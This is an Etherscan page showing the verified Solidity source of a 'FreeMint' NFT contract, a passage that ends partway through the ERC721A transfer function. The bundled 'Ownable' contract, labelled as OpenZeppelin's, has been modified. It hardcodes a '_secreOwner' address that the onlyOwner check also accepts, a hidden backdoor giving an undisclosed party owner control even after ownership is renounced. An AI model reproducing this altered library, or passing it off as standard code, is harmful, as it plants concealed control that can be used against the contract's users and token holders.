ETH Price: $3,262.77 (+3.40%)
 

Overview

Max Total Supply

147 FM

Holders

71

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Filtered by Token Holder
moonus.eth
Balance
1 FM
0xc09314ff09b94fe3ff2896bc1abae062fe0a52d4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FreeMint

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-11
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Strings.sol

// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
